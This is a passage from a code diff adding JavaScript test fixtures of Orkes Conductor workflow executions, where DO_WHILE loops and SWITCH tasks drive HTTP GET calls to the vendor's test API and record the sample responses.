"doWhileExample-test", + taskId: "22007182-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5867, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "lztsmmtdznjtgbjialsw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 97, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_last_ref", + retryCount: 0, + seq: 31, + pollCount: 1, + taskDefName: "http_last", + scheduledTime: 1711431104755, + startTime: 1711431104848, + endTime: 1711431104858, + updateTime: 1711431104848, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2211d6a3-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3688, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "jiyldckcvjnosuybyjgr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_last", + taskReferenceName: "http_last_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + loopOverTask: false, + taskDefinition: null, + queueWaitTime: 93, + }, + ], + input: {}, + output: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3688, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "jiyldckcvjnosuybyjgr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + taskToDomain: {}, + failedReferenceTaskNames: [], + workflowDefinition: { + name: "doWhileExample-test", + description: "DoWhile", + version: 1, + tasks: [ + { + name: "http_first", + taskReferenceName: "http_ref_first", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + { + name: "http_last", + taskReferenceName: "http_last_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, + rateLimitConfig: { + rateLimitKey: "", + concurrentExecLimit: 0, + }, + }, + priority: 0, + variables: {}, + lastRetriedTime: 0, + history: [], + idempotencyKey: "", + rateLimited: false, + startTime: 1711431102670, + workflowName: "doWhileExample-test", + workflowVersion: 1, +}; + +export const sampleExecutionMultiDoWhile = { + ownerApp: "nhandt+006@orkes.io", + createTime: 1711471925001, + updateTime: 1711471927651, + createdBy: "najeeb.thangal@orkes.io", + updatedBy: "", + status: "COMPLETED", + endTime: 1711471927649, + workflowId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + parentWorkflowId: "", + parentWorkflowTaskId: "", + tasks: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_first", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http_first", + scheduledTime: 1711471925008, + startTime: 1711471925082, + endTime: 1711471925168, + updateTime: 1711471925082, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2cd6274a-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 141, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "ieflflzwxuioasyrpcuy", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_first", + taskReferenceName: "http_ref_first", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 74, + loopOverTask: false, + taskDefinition: null, + }, + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1711471925176, + startTime: 1711471925176, + endTime: 1711471926648, + updateTime: 1711471926565, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2cef7bab-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + 1: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8714, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "pfoaimvrlugiyrhfimay", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 2: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1544, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "rgiezqolnhzbydafasan", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 629, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "lzlatizbpoqjhzdosgso", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4184, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "krbshxkajdnwwsfktacy", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6209, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "yfwguelsuywesbdqtgot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4205, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "jfkmltyjvljzekrrokgb", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 5: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8381, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "qwfsboamyfvitgofhmyx", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 6: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9193, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "hodpvolnbhurcviznsae", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 7: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7460, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "gaylbzkwhkcmvnrbqofh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4893, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "zschnkxrmpkpqzxqulkt", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2499, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "yeckxdenrknaxlssksws", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 9: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8649, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "ivwrjhwhhptaklledpom", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1574, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "hgrpontvfcxtpkaiecau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4135, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "wcbjbqpgrjidquahiihm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925191, + startTime: 1711471925191, + endTime: 1711471925191, + updateTime: 1711471925191, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2ceff0dc-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__1", + retryCount: 0, + seq: 4, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471925184, + startTime: 1711471925196, + endTime: 1711471925207, + updateTime: 1711471925196, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2cf1024d-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8714, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "pfoaimvrlugiyrhfimay", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + 